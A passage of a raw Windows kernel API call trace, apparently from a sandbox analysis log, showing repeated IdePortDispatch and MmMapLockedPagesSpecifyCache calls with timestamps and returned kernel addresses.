IdePortDispatch () returned 0x103 [0084.451] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c00000 [0084.452] IdePortDispatch () returned 0x103 [0084.454] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c29000 [0084.454] IdePortDispatch () returned 0x103 [0084.454] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c31000 [0084.454] IdePortDispatch () returned 0x103 [0084.455] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c49000 [0084.455] IdePortDispatch () returned 0x103 [0084.457] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c4c000 [0084.457] IdePortDispatch () returned 0x103 [0084.459] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c84000 [0084.459] IdePortDispatch () returned 0x103 [0084.462] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c8c000 [0084.462] IdePortDispatch () returned 0x103 [0084.463] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c8d000 [0084.463] IdePortDispatch () returned 0x103 [0084.468] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d43000 [0084.468] IdePortDispatch () returned 0x103 [0084.469] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d48000 [0084.470] IdePortDispatch () returned 0x103 [0084.471] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d7e000 [0084.471] IdePortDispatch () returned 0x103 [0084.473] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d82000 [0084.473] IdePortDispatch () returned 0x103 [0084.474] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002db8000 [0084.474] IdePortDispatch () returned 0x103 [0084.475] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002def000 [0084.475] IdePortDispatch () returned 0x103 [0084.478] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003421000 [0084.478] IdePortDispatch () returned 0x103 [0084.480] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003425000 [0084.480] IdePortDispatch () returned 0x103 [0084.482] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003492000 [0084.482] IdePortDispatch () returned 0x103 [0084.483] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003496000 [0084.483] IdePortDispatch () returned 0x103 [0084.485] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ba000 [0084.485] IdePortDispatch () returned 0x103 [0084.486] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ce000 [0084.486] IdePortDispatch () returned 0x103 [0084.488] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f3000 [0084.488] IdePortDispatch () returned 0x103 [0084.489] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f7000 [0084.489] IdePortDispatch () returned 0x103 [0084.492] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800352c000 [0084.492] IdePortDispatch () returned 0x103 [0084.493] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003532000 [0084.493] IdePortDispatch () returned 0x103 [0084.495] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003559000 [0084.495] IdePortDispatch () returned 0x103 [0084.496] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800356f000 [0084.496] IdePortDispatch () returned 0x103 [0084.498] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003593000 [0084.498] IdePortDispatch () returned 0x103 [0084.499] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003597000 [0084.499] IdePortDispatch () returned 0x103 [0084.501] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035cb000 [0084.501] IdePortDispatch () returned 0x103 [0084.502] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035ce000 [0084.502] IdePortDispatch () returned 0x103 [0084.503] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000a01000 [0084.503] IdePortDispatch () returned 0x103 [0084.504] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b05000 [0084.504] IdePortDispatch () returned 0x103 [0084.506] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b39000 [0084.506] IdePortDispatch () returned 0x103 [0084.508] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b3b000 [0084.508] IdePortDispatch () returned 0x103 [0084.510] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b80000 [0084.510] IdePortDispatch () returned 0x103 [0084.511] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b83000 [0084.511] IdePortDispatch () returned 0x103 [0084.512] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000ba7000 [0084.512] IdePortDispatch () returned 0x103 [0084.514] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bc9000 [0084.514] IdePortDispatch () returned 0x103 [0084.515] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bec000 [0084.515] IdePortDispatch () returned 0x103 [0084.516] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bef000 [0084.516] IdePortDispatch () returned 0x103 [0084.518] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c21000 [0084.518] IdePortDispatch () returned 0x103 [0084.519] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c24000 [0084.519] IdePortDispatch () returned 0x103 [0084.520] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c58000 [0084.520] IdePortDispatch () returned 0x103 [0084.522] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c5a000 [0084.522] IdePortDispatch () returned 0x103 [0084.523] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c7e000 [0084.523] IdePortDispatch () returned 0x103 [0084.527] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d23000 [0084.527] IdePortDispatch () returned 0x103 [0084.529] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d49000 [0084.529] IdePortDispatch () returned 0x103 [0084.530] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d4e000 [0084.530] IdePortDispatch () returned 0x103 [0084.531] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d72000 [0084.531] IdePortDispatch () returned 0x103 [0084.532] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d77000 [0084.532] IdePortDispatch () returned 0x103 [0084.534] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d9b000 [0084.534] IdePortDispatch () returned 0x103 [0084.535] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dae000 [0084.535] IdePortDispatch () returned 0x103 [0084.539] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003461000 [0084.539] IdePortDispatch () returned 0x103 [0084.540] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003466000 [0084.540] IdePortDispatch () returned 0x103 [0084.541] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800348c000 [0084.542] IdePortDispatch () returned 0x103 [0084.543] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a1000 [0084.543] IdePortDispatch () returned 0x103 [0084.544] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c5000 [0084.544] IdePortDispatch () returned 0x103 [0084.545] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c9000 [0084.545] IdePortDispatch () returned 0x103 [0084.547] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ed000 [0084.547] IdePortDispatch () returned 0x103 [0084.548] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003504000 [0084.548] IdePortDispatch () returned 0x103 [0084.550] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800352a000 [0084.550] IdePortDispatch () returned 0x103 [0084.551] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800352d000 [0084.551] IdePortDispatch () returned 0x103 [0084.552] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003563000 [0084.552] IdePortDispatch () returned 0x103 [0084.554] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003568000 [0084.554] IdePortDispatch () returned 0x103 [0084.555] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800358e000 [0084.555] IdePortDispatch () returned 0x103 [0084.556] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035a1000 [0084.556] IdePortDispatch () returned 0x103 [0084.558] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c5000 [0084.558] IdePortDispatch () returned 0x103 [0084.567] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d4a000 [0084.568] IdePortDispatch () returned 0x103 [0084.568] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d52000 [0084.568] IdePortDispatch () returned 0x103 [0084.569] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d53000 [0084.569] IdePortDispatch () returned 0x103 [0084.570] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d5b000 [0084.570] IdePortDispatch () returned 0x103 [0084.571] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d7e000 [0084.571] IdePortDispatch () returned 0x103 [0084.574] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da5000 [0084.574] IdePortDispatch () returned 0x103 [0084.575] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dab000 [0084.575] IdePortDispatch () returned 0x103 [0084.577] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002db3000 [0084.577] IdePortDispatch () returned 0x103 [0084.577] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dbb000 [0084.577] IdePortDispatch () returned 0x103 [0084.578] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ddf000 [0084.578] IdePortDispatch () returned 0x103 [0084.580] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002de4000 [0084.580] IdePortDispatch () returned 0x103 [0084.581] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002de9000 [0084.581] IdePortDispatch () returned 0x103 [0084.581] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002df1000 [0084.581] IdePortDispatch () returned 0x103 [0084.582] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003400000 [0084.582] IdePortDispatch () returned 0x103 [0084.583] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003408000 [0084.583] IdePortDispatch () returned 0x103 [0084.585] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800342a000 [0084.585] IdePortDispatch () returned 0x103 [0084.587] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003440000 [0084.587] IdePortDispatch () returned 0x103 [0084.588] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003467000 [0084.588] IdePortDispatch () returned 0x103 [0084.592] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800346f000 [0084.592] IdePortDispatch () returned 0x103 [0084.593] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003470000 [0084.593] IdePortDispatch () returned 0x103 [0084.594] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003478000 [0084.594] IdePortDispatch () returned 0x103 [0084.595] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800349a000 [0084.595] IdePortDispatch () returned 0x103 [0084.596] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a0000 [0084.597] IdePortDispatch () returned 0x103 [0084.598] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a6000 [0084.598] IdePortDispatch () returned 0x103 [0084.598] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ae000 [0084.598] IdePortDispatch () returned 0x103 [0084.599] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034af000 [0084.599] IdePortDispatch () returned 0x103 [0084.600] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b7000 [0084.600] IdePortDispatch () returned 0x103 [0084.601] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b8000 [0084.601] IdePortDispatch () returned 0x103 [0084.602] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034be000 [0084.603] IdePortDispatch () returned 0x103 [0084.604] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c4000 [0084.604] IdePortDispatch () returned 0x103 [0084.616] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c60000 [0084.616] IdePortDispatch () returned 0x103 [0084.618] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c71000 [0084.618] IdePortDispatch () returned 0x103 [0084.625] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d99000 [0084.625] IdePortDispatch () returned 0x103 [0084.627] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003421000 [0084.627] IdePortDispatch () returned 0x103 [0084.629] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003427000 [0084.629] IdePortDispatch () returned 0x103 [0084.631] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003450000 [0084.632] IdePortDispatch () returned 0x103 [0084.632] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003458000 [0084.632] IdePortDispatch () returned 0x103 [0084.633] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003460000 